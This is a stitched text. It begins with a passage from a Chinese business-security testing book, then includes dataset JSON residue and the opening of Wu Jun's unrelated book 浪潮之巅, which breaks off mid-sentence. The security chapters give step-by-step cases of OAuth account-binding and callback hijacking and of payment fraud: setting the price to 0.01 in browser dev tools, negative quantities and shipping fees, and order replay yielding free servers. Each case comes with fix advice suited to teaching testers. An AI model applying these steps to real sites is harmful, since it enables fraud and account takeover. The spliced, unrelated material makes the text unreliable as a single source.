该页面通过redirect_uri，回调到指定的callback页面。\n图17-1 OAuth 2.0认证流程图\n步骤三：利用返回的access_token，将App的id、key以及code代码发包到POST\nhttps：//graph.facebook.com/oauth/access_token。\n这一步是为了获取Token。\n步骤四：Oauth Server返回Token，这时，就可以通过Token获取用户授权的资源了。\n资料参考：\n· http://oauth.net/2/\n· https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2\n17.2 OAuth2.0漏洞总结\n17.2.1 某社交网站CSRF漏洞导致绑定劫持\n某社交网站-百度 OAuth 2.0 认证流程中，没有提供有效的方式来抵抗针对redirect_uir 的CSRF攻击。如果攻击成功，攻击者不需要知道受害用户的账号和密码就可登录受害账\n号。\n某社交网站-百度 \nOAuth \n2.0 \n认证流程中链接为\nhttps：//openapi.baidu.com/oauth/2.0/authorize？\nresponse_type=code&client_id=foRRWjPq8In3SIhmKQw1Pep3&redirect_uri=http：//www.xxxx.com/bind/baidu/baiduLoginCallBack。\n某社交网站并没有加入state参数来抵抗针对redirect_uir的CSRF攻击。如果攻击者重新\n发起一个某社交网站百度OAuth \n2.0认证请求，并截获OAuth \n2.0认证请求的返回：\nhttp：//www.xxxx.com/bind/baidu/baiduLoginCallBack？code=f056147c661d0b9\nfbb6cd305567cb994。\n攻击者诱骗已经登录的某社交网站用户单击立即绑定（比如通过邮件或者 \nQQ等方\n式），如图17-2所示，网站会自动将用户的账号同攻击者的账号绑定到一起，如图17-3所\n示。\n图17-2 某社交网站-百度账号绑定\n图17-3 百度账号绑定成功\n修复建议：OAuth 2.0提供了state参数用于CSRF认证服务器将接收到的state参数按原\n样返回给redirect_uri，客户端收到该参数并验证与之前生成的值是否一致。除此方法外也\n可使用传统的CSRF防御方案。\n17.2.2 某社区劫持授权\n以某社区账号登录“微博通”应用的授权页面为例，如图17-4所示。\n图17-4 授权页面\nhttp://open.xxxx.cn/oauth/authorize.php?oauth_token=e65d28ab0862cbd517c67c3cc 6f2247e052ad9c22&oauth_callback=http%3A%2F%2Fm.wbto.cn%3A80%2F%3Fc%3D\nm_setting%26m%3Dauth%26b%3Dcallback%26pid%3D24%26aid%3D%26wbto%3D16\n58628_953c148f2d%26oauth_token%3De65d28ab0862cbd517c67c3cc6f2247e052ad9c22%26oauth_token_secret%3D2fde10390cd1a2477abaa3dcd44e4b99\n其中，oauth_callback没有与应用的oauth_token进行绑定，没有对可用性进行校验，可\n以修改为任意地址。这里我们把oauth_callback的值改为xxx.org，并没有提示uri 非法。登\n录并授权，跳转到了指定的地址，用户的 oauth_token 泄露，如图 17-5所示。\n图17-5 跳转到xxx.org\n修复建议：请遵循OAuth协议规范，将应用的oauth_token与oauth_callback绑定，对\noauth_callback进行有效性校验。\n17.3 防范OAuth2.0漏洞的相关手段\n关于防范OAuth2.0漏洞的安全建议如下。\n（1）绑定劫持安全建议\nOAuth 2.0提供了state参数用于防御CSRF。认证服务器接收到的state参数按原样返回\n给redirect_uri，客户端收到该参数并验证与之前生成的值是否一致。\n（2）授权劫持安全建议\n用户授权凭证会由服务器转发到 redirect_uri 对应的地址，如果攻击者伪造redirect_uri 为自己的地址，然后诱导用户发送该请求，之后获取的凭证就会发送给攻击者伪造的回调\n地址。攻击者使用该凭证即可登录用户账号，造成授权劫持。正常情况下，为了防止该情\n况出现，认证服务器会验证自己的 client_id 与回调地址是否对应。常见的方法是验证回调\n地址的主域。\n第18章 在线支付安全案例总结\n目前网络在线消费和支付，已遍布人们生活的衣食住行等各个方面，比如网上商城在\n线购物、水电燃气在线缴费、手机话费在线充值等。由于在线消费和支付过程中涉及真金\n白银，一旦存在漏洞，将会带来重大的经济损失。\n18.1 某快餐连锁店官网订单金额篡改\n篡改订单金额的流程如图18-1所示。\n图18-1 篡改订单金额流程\n步骤一：登录某快餐连锁官网，选择快餐后，显示要支付的金额46元，在Chrome浏\n览器中，按 F12 快捷键，在浏览器下方弹出开发者工具，选择最左侧的箭头，如图18-2所\n示。\n图18-2 调用开发者工具\n步骤二：单击已输入金额46元的地方，可以看到该处HTML代码如图18-3所示。\n图18-3 查看金额部分HTML代码\n步骤三：把金额46元修改为0.01元，如图18-4所示。\n图18-4 修改快餐实际金额\n步骤四：调用支付宝接口，可以用0.01元购买价值46元的快餐，如图18-5所示。\n图18-5 通过支付宝进行支付\n18.2 某网上商城订单数量篡改\n篡改订单数量的流程如图18-6所示。\n图18-6 篡改订单数量流程图\n步骤一：在某网上商城购买商品，在购物车中填入购买数量时，可以填入负数，如图\n18-7所示。\n图18-7 将物品一的数量修改为负数\n步骤二：通过填入负数，服务器端会进行数量相加，运算过程及结果是-1*55+1*59=4\n元，因此造成支付漏洞，如图18-8所示。\n图18-8 最终支付金额\n18.3 某服务器供应商平台订单请求重放测试\n订单请求重放测试流程如图18-9所示。\n步骤一：在某服务器供应商平台上购买服务器资源，购买时通过抓包并进行多次重放\n测试，有90%的概率发生购买服务器价格为0元的情况，订单如图18-10所示。\n图18-9 订单请求重放测试流程图\n图18-10 购买订单\n步骤二：服务器可以进行管理和运行，如图18-11所示。\n图18-11 购买后的服务器运行状态\n18.4 某培训机构官网订单其他参数干扰测试\n订单其他参数干扰测试流程如图18-12所示。\n图18-12 订单其他参数干扰测试流程\n步骤一：在某培训机构官网上进行课程报名，同时利用抓包工具抓包，直接修改金额\n发现无法修改成功，因为该参数是直接和schoolid绑定的。\n通过观察和测试发现，订单中的配送方式参数可以利用，且运费金额可以修改，但该\n参数的数值在服务器端会有验证，课程费用和配送运费不能低于0，否则订单无法成功提\n交。\n步骤二：接下来重新选择一门课程，课程的价格是1700元，同时将运费修改为-1699\n元，两者相加最终费用为1元，如图18-13所示。\n图18-13 抓包并修改运费\n步骤三：订单成功提交，提示应付金额为1元，如图18-14所示。\n图18-14 订单成功提交提示\n步骤四：可以在历史订单里发现，该订单已提交成功，只需付款1元即可生效，如图\n18-15所示。\n图18-15 成功提交的订单历史截图\n18.5 防范在线支付漏洞的相关手段\n在线支付对广大消费者和商家来说日益重要，稍有不慎就会给商家带来经济损失，为\n了减少或者避免在线支付环节中的业务安全问题，希望商家采取以下措施进行预防。\n（1）针对订单金额篡改的预防措施\n将订单中的商品价格封装为码表形式，即每个商品拥有一个ID，每个ID对应一条相\n应的价格。用户访问前台选择商品并提交，服务器端验证商品 ID，然后计算商品总额并\n生成订单。\n（2）针对订单数量篡改的预防措施\n· 在服务器端判断提交商品ID中数量参数值不低于0，如果数量参数值低于0，则直接\n提示错误信息，让客户修正。\n· 通过数据类型判断正确后，同时判断商城库存对应商品的剩余量，如果剩余量低于\n商品的购买数量，则直接提示错误信息，让客户修正。\n（3）针对订单请求重放测试的预防措施\n无论支付成功还是失败时，使用的订单编号必须唯一，并且永久记录订单编号，不允\n许二次使用。\n（4）针对其他参数（如运费）干扰测试的预防措施\n在服务器端判断订单中运费参数值不低于0，如运费参数值低于0，则直接提示错误信\n息，让客户修正。\nDocument Outline\n版权页\n前言\n致谢\n目录\n理论篇\n第1章 网络安全法律法规\n第2章 业务安全引发的思考\n2.1 行业安全问题的思考\n2.2 如何更好地学习业务安全\n第3章 业务安全测试理论\n3.1 业务安全测试概述\n3.2 业务安全测试模型\n3.3 业务安全测试流程\n3.4 业务安全测试参考标准\n3.5 业务安全测试要点\n技术篇\n第4章 登录认证模块测试\n4.1 暴力破解测试\n4.1.1 测试原理和方法\n4.1.2 测试过程\n4.1.3 修复建议\n4.2 本地加密传输测试\n4.2.1 测试原理和方法\n4.2.2 测试过程\n4.2.3 修复建议\n4.3 Session测试\n4.3.1 Session会话固定测试\n4.3.2 Seesion会话注销测试\n4.3.3 Seesion会话超时时间测试\n4.4 Cookie仿冒测试\n4.4.1 测试原理和方法\n4.4.2 测试过程\n4.4.3 修复建议\n4.5 密文比对认证测试\n4.5.1 测试原理和方法\n4.5.2 测试过程\n4.5.3 修复建议\n4.6 登录失败信息测试\n4.6.1 测试原理和方法\n4.6.2 测试过程\n4.6.3 修复建议\n第5章 业务办理模块测试\n5.1 订单ID篡改测试\n5.1.1 测试原理和方法\n5.1.2 测试过程\n5.1.3 修复建议\n5.2 手机号码篡改测试\n5.2.1 测试原理和方法\n5.2.2 测试过程\n5.2.3 修复建议\n5.3 用户ID篡改测试\n5.3.1 测试原理和方法\n5.3.2 测试过程\n5.3.3 修复建议\n5.4 邮箱和用户篡改测试\n5.4.1 测试原理和方法\n5.4.2 测试过程\n5.4.3 修复建议\n5.5 商品编号篡改测试\n5.5.1 测试原理和方法\n5.5.2 测试过程\n5.5.3 修复建议\n5.6 竞争条件测试\n5.6.1 测试原理和方法\n5.6.2 测试过程\n5.6.3 修复建议\n第6章 业务授权访问模块\n6.1 非授权访问测试\n6.1.1 测试原理和方法\n6.1.2 测试过程\n6.1.3 修复建议\n6.2 越权测试\n6.2.1 测试原理和方法\n6.2.2 测试过程\n6.2.3 修复建议\n第7章 输入/输出模块测试\n7.1 SQL注入测试\n7.1.1 测试原理和方法\n7.1.2 测试过程\n7.1.3 修复建议\n7.2 XSS测试\n7.2.1 测试原理和方法\n7.2.2 测试过程\n7.2.3 修复建议\n7.3 命令执行测试\n7.3.1 测试原理和方法\n7.3.2 测试过程\n7.3.3 修复建议\n第8章 回退模块测试\n8.1 回退测试\n8.1.1 测试原理和方法\n8.1.2 测试过程\n8.1.3 修复建议\n第9章 验证码机制测试\n9.1 验证码暴力破解测试\n9.1.1 测试原理和方法\n9.1.2 测试过程\n9.1.3 修复建议\n9.2 验证码重复使用测试\n9.2.1 测试原理和方法\n9.2.2 测试过程\n9.2.3 修复建议\n9.3 验证码客户端回显测试\n9.3.1 测试原理和方法\n9.3.2 测试过程\n9.3.3 修复建议\n9.4 验证码绕过测试\n9.4.1 测试原理和方法\n9.4.2 测试过程\n9.4.3 修复建议\n9.5 验证码自动识别测试\n9.5.1 测试原理和方法\n9.5.2 测试过程\n9.5.3 修复建议\n第10章 业务数据安全测试\n10.1 商品支付金额篡改测试\n10.1.1 测试原理和方法\n10.1.2 测试过程\n10.1.3 修复建议\n10.2 商品订购数量篡改测试\n10.2.1 测试原理和方法\n10.2.2 测试过程\n10.2.3 修复建议\n10.3 前端JS限制绕过测试\n10.3.1 测试原理和方法\n10.3.2 测试过程\n10.3.3 修复建议\n10.4 请求重放测试\n10.4.1 测试原理和方法\n10.4.2 测试过程\n10.4.3 修复建议\n10.5 业务上限测试\n10.5.1 测试原理和方法\n10.5.2 测试过程\n10.5.3 修复建议\n第11章 业务流程乱序测试\n11.1 业务流程绕过测试\n11.1.1 测试原理和方法\n11.1.2 测试过程\n11.1.3 修复建议\n第12章 密码找回模块测试\n12.1 验证码客户端回显测试\n12.1.1 测试原理和方法\n12.1.2 测试流程\n12.1.3 修复建议\n12.2 验证码暴力破解测试\n12.2.1 测试原理和方法\n12.2.2 测试流程\n12.2.3 修复建议\n12.3 接口参数账号修改测试\n12.3.1 测试原理和方法\n12.3.2 测试流程\n12.3.3 修复建议\n12.4 Response状态值修改测试\n12.4.1 测试原理和方法\n12.4.2 测试流程\n12.4.3 修复建议\n12.5 Session覆盖测试\n12.5.1 测试原理和方法\n12.5.2 测试流程\n12.5.3 修复建议\n12.6 弱Token设计缺陷测试\n12.6.1 测试原理和方法\n12.6.2 测试流程\n12.6.3 修复建议\n12.7 密码找回流程绕过测试\n12.7.1 测试原理和方法\n12.7.2 测试流程\n12.7.3 修复建议\n第13章 业务接口调用模块测试\n13.1 接口调用重放测试\n13.1.1 测试原理和方法\n13.1.2 测试过程\n13.1.3 修复建议\n13.2 接口调用遍历测试\n13.2.1 测试原理和方法\n13.2.2 测试过程\n13.2.3 修复建议\n13.3 接口调用参数篡改测试\n13.3.1 测试原理和方法\n13.3.2 测试过程\n13.3.3 修复建议\n13.4 接口未授权访问/调用测试\n13.4.1 测试原理和方法\n13.4.2 测试过程\n13.4.3 修复建议\n13.5 Callback自定义测试\n13.5.1 测试原理和方法\n13.5.2 测试过程\n13.5.3 修复建议\n13.6 WebService测试\n13.6.1 测试原理和方法\n13.6.2 测试过程\n13.6.3 修复建议\n实践篇\n第14章 账号安全案例总结\n14.1 账号安全归纳\n14.2 账号安全相关案例\n14.1.1 账号密码直接暴露在互联网上\n14.1.2 无限制登录任意账号\n14.1.3 电子邮件账号泄露事件\n14.1.4 中间人攻击\n14.1.5 撞库攻击\n14.3 防范账号泄露的相关手段\n第15章 密码找回安全案例总结\n15.1 密码找回凭证可被暴力破解\n15.1.1 某社交软件任意密码修改案例\n15.2 密码找回凭证直接返回给客户端\n15.2.1 密码找回凭证暴露在请求链接中\n15.2.2 加密验证字符串返回给客户端\n15.2.3 网页源代码中隐藏着密保答案\n15.2.4 短信验证码返回给客户端\n15.3 密码重置链接存在弱Token\n15.3.1 使用时间戳的md5作为密码重置Token\n15.3.2 使用服务器时间作为密码重置Token\n15.4 密码重置凭证与用户账户关联不严\n15.4.1 使用短信验证码找回密码\n15.4.2 使用邮箱Token找回密码\n15.5 重新绑定用户手机或邮箱\n15.5.1 重新绑定用户手机\n15.5.2 重新绑定用户邮箱\n15.6 服务端验证逻辑缺陷\n15.6.1 删除参数绕过验证\n15.6.2 邮箱地址可被操控\n15.6.3 身份验证步骤可被绕过\n15.7 在本地验证服务端的返回信息——修改返回包绕过验证\n15.8 注册覆盖——已存在用户可被重复注册\n15.9 Session覆盖——某电商网站可通过Session覆盖方式重置他人密码\n15.10 防范密码找回漏洞的相关手段\n第16章 越权访问安全案例总结\n16.1 平行越权\n16.1.1 某高校教务系统用户可越权查看其他用户个人信息\n16.1.2 某电商网站用户可越权查看或修改其他用户信息\n16.1.3 某手机APP普通用户可越权查看其他用户个人信息\n16.2 纵向越权\n16.2.1 某办公系统普通用户权限越权提升为系统权限\n16.2.2 某中学网站管理后台可越权添加管理员账号\n16.2.3 某智能机顶盒低权限用户可越权修改超级管理员配置信息\n16.2.4 某Web防火墙通过修改用户对应菜单类别可提升权限\n16.3 防范越权访问漏洞的相关手段\n第17章 OAuth 2.0安全案例总结\n17.1 OAuth2.0认证原理\n17.2 OAuth2.0漏洞总结\n17.2.1 某社交网站CSRF漏洞导致绑定劫持\n17.2.2 某社区劫持授权\n17.3 防范OAuth2.0漏洞的相关手段\n第18章 在线支付安全案例总结\n18.1 某快餐连锁店官网订单金额篡改\n18.2 某网上商城订单数量篡改\n18.3 某服务器供应商平台订单请求重放测试\n18.4 某培训机构官网订单其他参数干扰测试\n18.5 防范在线支付漏洞的相关手段"},"category":{"kind":"string","value":"epub_books"}}},{"rowIdx":25,"cells":{"text":{"kind":"string","value":"浪潮之巅\n吴军\n简介\n近一百多年来，总有一些公司很幸运地、有意识或无意识地站在技术革命的浪尖之上。在长达十年甚至几十年的时间里，它们代表着科技的浪潮，直到下一波浪潮的来临。从19世纪末算起. AT&T公司、IBM 公司、苹果公司、英特尔公司、微软公司、思科公司、雅虎公司和Google公司都先后被幸运地推到了浪尖。虽然，它们来自不同的领域，中间有些已经衰落或正在衰落，但是它们都极度辉煌过。本书系统地介绍了这些公司成功的本质原因及科技工业一百多年的发展。在这些公司兴衰的背后，有着它必然的规律。\n作者简介\n吴军博士，毕业于清华大学计算机系(本科)、电子工程系(硕士)和美国约翰·霍普金斯大学计算机科学系(博士)。在清华大学和约翰·霍普金斯大学期间，吴军博士致力于语音识别、自然语言处理，特别是统计语言模型的研究。他曾获得1995年全国人机语音智能接口会议的最佳论文奖和2000年Eurospeech的最佳论文奖。\n吴军博士于2002年加入Google公司。在Google，他和Amit Singhal(Google工程研究院院士，世界著名搜索专家)、Matt Cutts(Google作弊官方发言人)等三位同事一起开创了网络搜索反作弊的研究领域，并因此获得GoogIe工程奖。2003年，他和GoogIe全球架构的总工程师朱会灿博士等共同成立了中日韩文搜索部门。吴军搏士是当前Goolle中日韩文搜索算法的主要设计者。在Google期间，他还领导了许多研发项目，包括许多与中文相关的产品和自然语言处理的项目，并得到了当时公司首席执行宫埃里克·施密特和创始人谢尔盖·布林的高度评价，此外，他还在谷歌黑板报上发表了《数学之美》系列博客。\n2010年Google中国战略调整后，吴军、Google图片搜索创始人朱会灿、Google中国工程研究院副院长颜伟鹏加入腾讯，吴军成为腾讯副总裁和搜索业务负责人。\n2012年5月，腾讯搜索业务进行了极大调整。6月，吴军离职腾讯，重回Google。\n序言\n李开复\n最早看到吴军博士的《浪潮之巅》，是在Google黑板报上。2007年，任Google资深研究员的吴军，应邀为Google黑板报撰写文章，介绍他对互联网和IT业界兴衰变化的观察和思考。由于文章篇幅较长，被单列为“浪潮之巅”栏目分次刊出。设立该栏目的直接收获就是，Google黑板报随后人气大增，增加了大批的追随者。作为《浪潮之巅》的最早一批读者，我当时就感觉，这个系列完全应该编纂成书，如今，这个感觉变成了现实。\n对于吴军，我比较熟悉，因为在语音识别领域，我们都有着共同的研究兴趣，并曾作为同事有过很多交流。吴军在清华大学获得学士和硕士学位，在美国约翰·霍普金斯大学获得计算机博士学位，致力于语音识别、自然语言处理等领域的研究。我在2005年加入Google时，吴军已经在那里工作多年。他在Google期间参与主持了许多研发项目，并在国内外发表过数十篇论文、获得和申请了近十项美国和国际专利。\n我认识很多顶尖的工程师，但具备强大叙事能力的优秀工程师，我认识的可以说是凤毛麟角，而吴军是其中之一。从ATT、微软、Google、思科等引领整个时代浪潮的公司历史叙述，到硅谷之所以成为科技中心所依靠的天时、地利、人和因素，再到科技公司发展壮大过程中风险投资、银行、产业规律各自扮演的角色，以及新时代背景下金融危机和云计算（CloudComputing）为科技产业带来的冲击和革命……虽然每个人的观点不尽相同，但是通过这本书中看似波澜不惊的行文，你会读出一个从事互联网行业十多年的“老行家”个人独到的见解，以及一个身处“浪潮”中的“弄潮儿”的切身体会。\n作为“兼才”，《浪潮之巅》恰恰因此具备了两方面的优势。首先，作为一位曾每天与程序、算法、科研打交道的Google最优秀的研究员，势必能更客观地描述那些科技公司的兴衰得失，不会人云亦云，更不至于离题万里；第二，作为一位拥有写作天赋的工程师，吴军能够确保文章的有趣与可读，不会容忍自己的作品成为一本呆板的教科书式读物。\n《浪潮之巅》又不仅是一部提供“快乐阅读”的大公司商业史，它融汇了作者多年来的所见所闻，更包含了大量的独立思考与独特见解。这份心血，不仅是他个人的天赋使然，也是他始终在研究领域孜孜不倦的成果。\n值得一提的是，吴军的文章，没有将目光局限在大洋彼岸，内容上也不仅是停留在对若干巨头企业的探查。作者试图从整个产业链上向读者揭示科技公司的运作规律，并通过大量的调研与观察，客观分析中国本土企业在这次科技浪潮中的地位与影响。实际上，作者吴军本人也已离开了Google，目前正在一家中国著名互联网公司担任其核心业务的领军人物。\n《浪潮之巅》不是一本历史书，因为书中着力描述的，很多尚在普及或将要发生，比如微博与云计算，又比如对下一代互联网科技产业浪潮的判断和预测。从文字中可以看出，作者对科技、对创新、对互联网都充满“虔诚”信仰，并为之激情四射。\n我想，对所有身处并热爱高科技行业的人来说，对所有渴望创新、欣赏创新的中国创业者来说，《浪潮之巅》都是一本可读性很强的作品，足以做到“开卷有益”！\n2011年4月于北京创新工场\n前言 有幸见证历史\n近一百多年来，总有一些公司很幸运地、有意识或无意识地站在技术革命的浪尖之上。一旦处在了那个位置，即使不做任何事，也可以随着波浪顺顺当当地向前漂十年，甚至更长的时间。在这十几年到几十年间，它们代表着科技的浪潮，直到下一波浪潮的来临。\n从一百多年前算起，ATT公司、IBM公司、苹果（Apple）公司、英特尔（Intel）公司、微软（Microsoft）公司、思科（Cisco）公司、雅虎（Yahoo）公司和Google公司，也许还有接下来的Facebook公司，都先后被幸运地推到了浪尖。虽然，它们来自不同的领域，中间有些已经衰落或正在衰落，但是它们都极度辉煌过。它们都曾经是全球性的帝国，统治着自己所在的产业。\n这些公司里面大大小小的人在外人看来都是时代的幸运儿。因为，虽然对于一个公司来讲，赶上一次浪潮不能保证它长盛不衰；但是，对于一个人来讲，一生赶上这样一次浪潮就足够了。对于一个弄潮的年轻人来讲，最幸运的莫过于赶上一波大潮。\n加拿大作家格拉德威尔（Gradwell）在《异类》（Outliers）一书中介绍了这样一个事实：在人类历史上最富有的75人中，有1/5出生在1830~1840年的美国，其中包括大家熟知的钢铁大王卡内基和石油大王洛克菲勒。\n这一不符合统计规律的现象的背后有着其必然性，他们都在自己年富力强（30~40岁）时，赶上了美国内战后的工业革命浪潮。这是人类历史上产生实业巨子的高峰年代。而第二个高峰年代就是从上世纪50年代末到70年代初的20年间，出现了苹果公司创始人史蒂夫？乔布斯（Steve Jobs）、微软公司创始人比尔·盖茨（Bill Gates）、太阳公司的创始人 安迪·贝托谢姆（Andy Bechtolsheim）和比尔·乔伊（Bill Joy）、戴尔公 司的创始人迈克尔·戴尔（Michael Dell）、Google 的创始人拉里·佩奇（Larry Page）和谢尔盖·布林（Sergey Brin）等，因为他们在自己年富力强时幸运地赶上了信息革命的大潮。而这恰恰发生在我们现在这个时代，我们每一个人都有幸亲历了信息革命的历史。\n要预测未来是很难的，但是看看过去和现在，我们也许能悟出一些道理。我希望将我这些年来看到的和听到的人和事拿出来与大家分享。帮助读者，尤其是年轻的读者，对当今世界科技产业的发展有系统的了解。我会谈一谈我对每次浪潮的看法，对上述每个公司的看法，以及对其中关键人物的认识。在极度商业化的今天，科技的进步和商机是分不开的。因此，我也要提到间接影响到科技浪潮的风险投资公司，诸如KPCB和红杉资本（Sequoia Capital），以及百年来为科技捧场的投资银行，例如高盛（Goldman Sachs），等等。\n本书最初应崔瑾女士的约稿，以博客的形式在Google黑板报上连载。Just-Pub出版团队负责人周筠女士读后一直在热情地向读者推荐，并且后来和我约稿出版实体书。这前前后后有三四年的跨度，信息科技（Information Technologies，简称IT）产业的世界格局也发生了较大的变化，因此，这次在出版实体书时，我不仅补齐了全部的章节，也对原有章节进行了大规模的修改。书中适当地保留了一些章节的原貌，以帮助读者了解我的思考过程。\n本书的结构有些独特，经常是介绍完一些公司后，中间穿插着一些其他的话题。一些媒体的朋友问我为什么这样组织全书？原因是为了帮助读者理解一些公司的决策的原因和它们的商业模式，必须提前介绍和它们相关的IT产业的一些规律。比如，在介绍英特尔公司和微软公司时，就一定会谈及半导体行业的摩尔定律和微机时代的WinTel体系1，以及由此产生的微机时代IT产业的生态链。我们在后面分析其他公司时，又会多次提到这个生态链，因此必须在英特尔/微软之后，其他章节之前对IT的一些规律先做介绍。而对于影响科技公司业务和发展的幕后推动力，包括投资银行和风投公司，也必须在谈及一些公司的决策前先对其做一番介绍。因此，这本书在章节上做了一些特殊的安排。但是，全书基本还是按照时间顺序展开，也就是从ATT和IBM这两个百年老店讲起，到微机时代，再到互联网时代，以及现在的云计算和互联网2.0时代。\n在我写作的过程中，得到了很多人的帮助和鼓励，包括李开复博士、崔瑾女士、周筠女士、Google和腾讯的数百名年轻人，以及成千上万名的博客读者。Google北京的工程师吴根清、宿华和单久龙先生帮助我校对了部分章节，在此我对他们表示衷心的感谢。尤其需要感谢的是我的妻子张彦女士和我的母亲朱秀珍女士，她们不仅是我博客的第一读者，而且在我写作中给予我不断的鼓励和帮助。\n吴军\n2011年5月于深圳腾讯公司\n目录\n简介\n内容简介\n作者简介\n序言\n前言 有幸见证历史\n目录\n第1章 帝国的余辉：ATT\n1.1 百年帝国\n1.2 几度繁荣\n1.3 利令智昏\n1.4 外来冲击\n第2章 蓝色巨人：IBM\n2.1 赶上机械革命的最后一次浪潮2.2 领导电子技术革命的浪潮\n2.3 错过全球信息化的大潮\n2.4 他也是做（芯）片的\n2.5 保守的创新者\n2.6 内部的优胜略汰\n结束语\n第3章 “水果”公司的复兴：乔布斯和苹果公司3.1 传奇小子\n3.2 迷失方向\n3.3 再创辉煌\n3.4 大难不死\n结束语\n第4章 计算机工业的生态链\n4.1 摩尔定理（Moore’s Law）\n4.2 安迪-比尔定理（Andy and Bill’s Law）4.3 反摩尔定理（Reverse Moore’s Law）第5章 奔腾的芯：英特尔－Intel 5.1 时势造英雄\n5.2 英特尔摩托罗拉之战\n5.3 指令集之争\n5.4 英特尔和 AMD 的关系\n5.5 天步艰难\n结束语\n第6章 IT业的罗马帝国：微软－Microsoft 6.1 双雄会\n6.2 亡羊补牢\n6.3 人民战争\n6.4 帝国的诞生\n6.5 当世拿破仑\n6.6 条顿堡之战\n6.7 客厅争夺战\n结束语\n第7章 互联网的金门大桥：思科\n7.1 好风凭借力\n7.2 持续发展的绝招\n7.3 竞争者\n7.4 诺威格定理的宿命\n第8章 英名不朽：杨致远、菲洛和雅虎公司8.1 当世福特\n8.2 流量、流量、流量\n8.3 成也萧何、败也萧何\n8.4 既生瑜何生亮\n8.5 红巨星\n结束语\n第9章 硅谷的见证人：惠普公司\n9.1 昔日硅谷之星\n9.2 有争议的生死抉择\n9.3 最有争议的CEO\n9.4 亚洲制造的冲击\n9.5 峰回路转\n第10章 没落的贵族：摩托罗拉\n10.1 二战的品牌\n10.2 黄金时代\n10.3 基因决定定理\n10.4 铱星计划\n10.5 全线溃败\n10.6 回天乏力\n结束语\n第11章 硅谷的另一面\n11.1 成王败寇\n11.2 嗜血的地方\n11.3 机会均等\n11.4 硅含量不断降低\n11.5 亘古而常青\n结束语\n第12章 短暂的春秋：与机会失之交臂的公司12.1 太阳公司（Sun Microsystems）12.2 Novell公司\n12.3 网景公司（Netscape）\n12.4 Real Networks\n结束语\n第13章 幕后的英雄：风险投资（Venture Capital）13.1 风投的起源\n13.2 风投的结构\n13.3 风投的过程\n13.4 投资的决策和公司的估价\n13.5 风投的角色\n13.6 著名的风投公司\n结束语\n第14章 信息产业的规律性\n14.1 70-20-10律\n14.2 诺威格定理\n14.3 基因决定定理\n结束语\n第15章 高科技公司的摇篮：斯坦福大学15.1 充满传奇的大学\n15.2 硅谷的支柱\n15.3 纽曼+洪堡的教育模式\n15.4 创业的孵化器\n结束语\n第16章 科技公司的吹鼓手：投资银行前言 有幸见证历史\n16.1 华尔街和美国的金融体系\n16.3 科技公司的上市过程\n16.4 成也萧何、败也萧何\n16.5 华尔街与微软、雅虎和Google的三国演义结束语\n第17章 挑战者：Google 公司\n17.1 历史上最轰动的IPO\n17.2 早期岁月\n17.3 商业模式\n17.4 个人英雄主义和群众路线\n17.5 绝代双骄\n17.6 感谢上帝，今天是星期五(TGIF)17.7 不作恶\n17.8 不败的神话\n17.9 秘密军团\n17.10 云计算和数据中心\n17.11 Google 的新气象\n17.12 3G 时代\n17.13 进攻，永远是最好的防守\n结束语\n第18章 成功的转基因：诺基亚、3M、GE 18.1 从木工厂到手机之王（诺基亚 Nokia）18.2 道琼斯的常青树（3M）\n18.3 世界最大的联合体（GE）\n结束语\n第19章 印钞机：最佳的商业模式19.1 Google的广告系统\n19.2 Ebay和亚马逊的在线市场\n19.3 戴尔的虚拟工厂\n结束语\n第20 章互联网2.0\n20.1互联网的前世今生\n20.2 互联网2.0的特征\n20.3 著名的互联网2.0公司\n20.4 是革命还是泡沫\n结束语\n第21 章金融风暴的冲击\n21.1 金融危机的成因\n21.2 瑞雪兆丰年：优胜劣汰\n21.3 潜在的商机到处都是\n21.4 格局的变迁\n结束语\n第22 章云计算\n22.1 云计算的起源\n22.2 云计算的本质\n22.3 云计算的核心技术和工程\n22.4 对IT 产业链的颠覆\n结束语\n第23 章下一个Google\n23.1 千亿俱乐部\n23.2 岁岁年年人不同\n23.3 新领域\n23.4 关注亚太地区\n结束语\n后记\n附录\n编书者说（oxen）\n再编书者说（lbear）\n勘误\n第1章 帝国的余辉：ATT\n第1章 帝国的余辉：ATT\n1.1 百年帝国\n图1-1弗伦翰公园日落\n上面的图片是在九十年代拍摄的美国新泽西州弗伦翰公园 (Florham Park) 日落的照片。弗伦翰公园占地十几平方公里，大多是芳草地和森林，在森林中央，是一片中等规模的临湖的工业园——这是笔者见到的最美丽的工业园。在那里，每天都能看到天鹅在湖中悠闲地游荡，不时可以见到野鹿出没。这里原是石油巨头埃克森美孚 (Exxon-Mobil) 的地产，1996 年，这里来了一个新主人——美国电报和电话公司 (ATT) 实验室。1995 年，如日中天的 ATT 公司重组，分裂成 ATT、朗讯和 NCR 三家公司。ATT 下属的举世闻名的科研机构贝尔实验室也被一分为二。朗讯公司获得了一半的科研机构和贝尔实验室的名称。划归 ATT 的一半研究室组成了 ATT 实验室 (后来更名为香农实验室)，从原来的茉莉山 (Murray Hills) 搬到了弗伦翰公园。在那里，出过十一位诺贝尔奖获得者的 ATT 实验室，像一颗进入晚年的恒星，爆发出极强的、但也是最后的光辉，然后就迅速的暗淡下来。十年后 ATT 和朗讯公司分别被 SBC 公司和法国的阿尔卡特公司并购。十年前，我在 ATT 实验室实习，当时大家的情绪都很高，实验室的气氛很像今天的谷歌。不少人的座位旁都放着上面这张美丽的夕阳照。现在想起来，它似乎预示着一个帝国的黄昏。\n说起美国电话和电报公司，即 ATT 公司，在美国乃至在世界上几乎无人不知、无人不晓。该公司由电话之父亚历山大?贝尔创立于 1877 年。电话的发明和 ATT 公司的建立，第一次实现了人类的远程实时的交互通信（虽然电报比电话出现的早，但它不是事实交互通信），并且使得平民百姓受益。从 ATT 创立的第一天起，它就是龙头老大，直到它被收购的那一天。但是，ATT 的扩展速度远比今天的人想象得慢得多。它用了十五年 (1892) 才将生意从纽约地区扩展到美国中部芝加哥地区（当时从纽约到芝加哥一分钟的通话费是两美元一分钟，而当时的一美元的购买力相当于今天的五十美元。今天在美国打国际长途，也不过十美分一分钟）。三十八年后 (1915)，它的生意扩展到全国（但是从纽约到旧金山的电话费高达七美元一分钟）。四十八年后的 1927，ATT 的长途电话业务扩展到欧洲。\n一九二五年，ATT 公司成立的研发机构贝尔实验室。贝尔实验室是历史最大的、最成功的私有实验室。由于 ATT 